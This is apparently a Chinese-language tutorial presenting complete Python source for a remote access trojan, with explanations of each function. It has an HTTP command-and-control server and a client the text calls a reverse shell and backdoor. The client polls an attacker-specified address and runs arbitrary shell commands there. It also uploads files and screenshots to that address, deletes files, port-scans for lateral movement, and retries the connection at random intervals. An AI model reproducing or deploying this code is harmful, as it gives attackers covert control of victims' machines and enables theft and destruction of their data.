import http.server
import os,cgi
localhost= '127.0.0.1' #本地IP非公网IP
port= 8081 #监听端口
class MyHandler(http.server.BaseHTTPRequestHandler):
global hostMachine #上线主机
hostMachine=0
def do_GET(self): #get请求处理
global hostMachine
if hostMachine==0:
hostMachine=1
print('宿主机已上线')
command = input("<Potato>$ ")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
if command=='exit':
print('[Result] 该主机已下线')
hostMachine=0
print('\n')
def do_POST(self): #Post请求处理
if self.path == '/tmp':#文件数据处理
try:
ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
if ctype == 'multipart/form-data':
fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
else:
print('[Errot] POST数据格式错误')
fs_data = fs['file'].file.read()
fs_name = fs['name'].file.read().decode('gbk')
with open('/s-'+fs_name, 'wb') as o:
print('[Information] 获取中 ........')
o.write(fs_data)
print('[Result] 已保存至/s-'+fs_name)
self.send_response(200)
self.end_headers()
print('\n')
except Exception as e:
print(e)
return
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-length'])
postVar = self.rfile.read(length)
print(postVar.decode('gbk','ignore'))
if __name__ == "__main__":
httpd = http.server.HTTPServer((localhost, port), MyHandler) #搭建简易http服务器
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('\n'+'[Error] 服务器已关闭')服务器
服务端代码这个实现了一个简单的 HTTP 服务器,它可以处理 GET 和 POST 请求,并且具有一些基本功能。这个服务器允许远程用户通过 GET 请求发送命令并获取响应,也可以通过 POST 请求上传文件。
以下是您的代码的详细介绍:
导入模块和设置监听地址和端口:
您首先导入了所需的模块 http.server、os 和 cgi。
定义了本地 IP 地址 localhost 和监听端口 port。
创建自定义的请求处理类 MyHandler:
MyHandler 类继承自 http.server.BaseHTTPRequestHandler,用于处理 HTTP 请求。
在 MyHandler 类中,您定义了一个全局变量 hostMachine,用于标记主机的上线状态。
处理 GET 请求 (do_GET 方法):
当收到 GET 请求时,服务器会提示用户输入命令,并通过标准输入 (input) 获取命令。
如果主机之前处于下线状态,会将其标记为上线状态,并打印消息。
接收到的命令会以 HTTP 响应的形式发送回客户端,状态码为 200。
如果命令为 "exit",则会打印下线消息并将主机标记为下线状态。
处理 POST 请求 (do_POST 方法):
如果请求路径为 "/tmp",则说明客户端要上传文件。
检查请求的 Content-Type,如果是 "multipart/form-data",则使用 cgi.FieldStorage 处理文件上传。
上传的文件会保存在服务器上,文件名以 "/s-" 开头,并响应客户端上传成功的消息。
如果出现异常,会打印错误信息。
主程序部分:
在 if name == "main": 部分,您创建了一个简单的 HTTP 服务器,绑定到本地 IP 地址和指定的端口。
使用 http.server.HTTPServer 创建服务器对象,监听指定地址和端口。
服务器在一个无限循环中运行,处理客户端请求,直到捕获到键盘中断 (Ctrl+C) 时才会关闭服务器。
import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket
def connect(attackerIp):
while True:
try:
req = requests.get(attackerIp)
command = req.text.strip() # 获取服务端命令,并去除首尾空格
# 以下为自定义功能
if command == 'exit': # 退出程序
return 1
elif command.startswith('get'): # 获取文件
path = command.split(" ")[1]
if os.path.exists(path):
url = f'{attackerIp}/tmp'
files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
r = requests.post(url, files=files)
else:
r = requests.post(url=attackerIp, data='[Error] 指定文件不存在'.encode('gbk'))
elif command == 'screenshot': # 获取截屏
try:
image = pyscreenshot.grab()
image.save("/kernel.png")
url = f'{attackerIp}/tmp'
files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
r = requests.post(url, files=files)
except Exception as e:
r = requests.post(url=attackerIp, data=str(e).encode('gbk'))
elif command.startswith('remove'): # 移除文件
filename = command.split(' ')[1]
if os.path.exists(filename):
os.remove(filename)
else:
r = requests.post(attackerIp, data="[Error] 文件不存在".encode('gbk'))
elif command.startswith('scan'): # 横向扫描
try:
scan_result = ''
if len(command.split(" ")) > 2:
scan, ip, port = command.split(" ")
else:
port = command.split(" ")[1]
ip = '127.0.0.1'
scan_result = '\n'
defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200] # 默认扫描端口
port = defPort if port == 'default' else port.split(',') if ',' in port else [port]
for p in port:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(3)
result = sock.connect_ex((ip, int(p)))
if result == 0:
scan_result += f" [开放] {p}\n"
except Exception:
pass
r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] 扫描端口错误".encode('gbk'))
elif command.startswith('cd'): # 切换目录
directory = command.split(' ')[1]
try:
os.chdir(directory)
r = requests.post(attackerIp,
data=f"[Result] 切换目录至 {os.getcwd()}".encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] 无法切换目录".encode('gbk'))
else: # 非快捷指令,则执行命令
try:
CMD = subprocess.run(command, shell=True, capture_output=True)
r = requests.post(url=attackerIp, data=CMD.stdout)
r = requests.post(url=attackerIp, data=CMD.stderr)
except Exception:
pass
except Exception as e:
pass
if __name__ == '__main__':
attackerIp = 'http://127.0.0.1:8081' # 攻击者公网IP:监听端口
while True:
try:
if connect(attackerIp) == 1:
break
except:
time.sleep(int(random.randrange(1, 10))) # 无连接时间隔检测
客户端这段代码实现了一个反向 Shell,也是一个后门程序,它会不断连接一个攻击者指定的 IP 地址,然后接收从攻击者发送的命令并执行对应的操作。
首先,代码导入了一些需要的库,包括 requests 用于发送 HTTP 请求,os 用于操作文件和目录,time 用于设置延时,random 用于生成随机数,subprocess 用于执行外部命令,pyscreenshot 用于截屏,socket 用于创建套接字进行端口扫描。
接下来是定义了一个 connect 函数,该函数会不断循环进行连接和命令执行的操作。在循环内部,使用 requests 库发送 HTTP GET 请求获取攻击者发送的命令,并去除命令字符串两端的空格。然后根据命令内容执行相应的操作。
命令的解析逻辑如下:
如果命令为 exit,则退出程序。
如果命令以 get 开头,表示获取文件,取出命令中的路径,并检查文件是否存在。如果文件存在,则使用 requests 库发送 HTTP POST 请求将文件发送给攻击者,否则发送错误信息。
如果命令为 screenshot,则使用 pyscreenshot 库进行屏幕截图,并保存为 "/kernel.png" 文件,然后发送给攻击者。
如果命令以 remove 开头,表示移除文件,取出命令中的文件名,并检查文件是否存在。如果文件存在,则使用 os.remove 函数删除文件,否则发送错误信息。
如果命令以 scan 开头,表示进行端口扫描。命令可能有两种形式:scan 或 scan default。根据命令中的参数进行端口扫描,将开放的端口信息发送给攻击者。
如果命令以 cd 开头,表示切换目录,取出命令中的目录名,并使用 os.chdir 函数切换目录,然后发送结果给攻击者。
如果以上条件都不满足,则将命令交给 subprocess.run 函数执行,并将执行结果发送给攻击者。
最后,在 if name == 'main': 中,定义了攻击者的 IP 地址和端口,并通过调用 connect 函数不断进行连接。如果 connect 函数返回值为 1,则退出程序。在连接失败时,使用 time.sleep 函数设定随机的睡眠时间,以避免频繁连接。
服务端调用客户端执行 CMD 命令: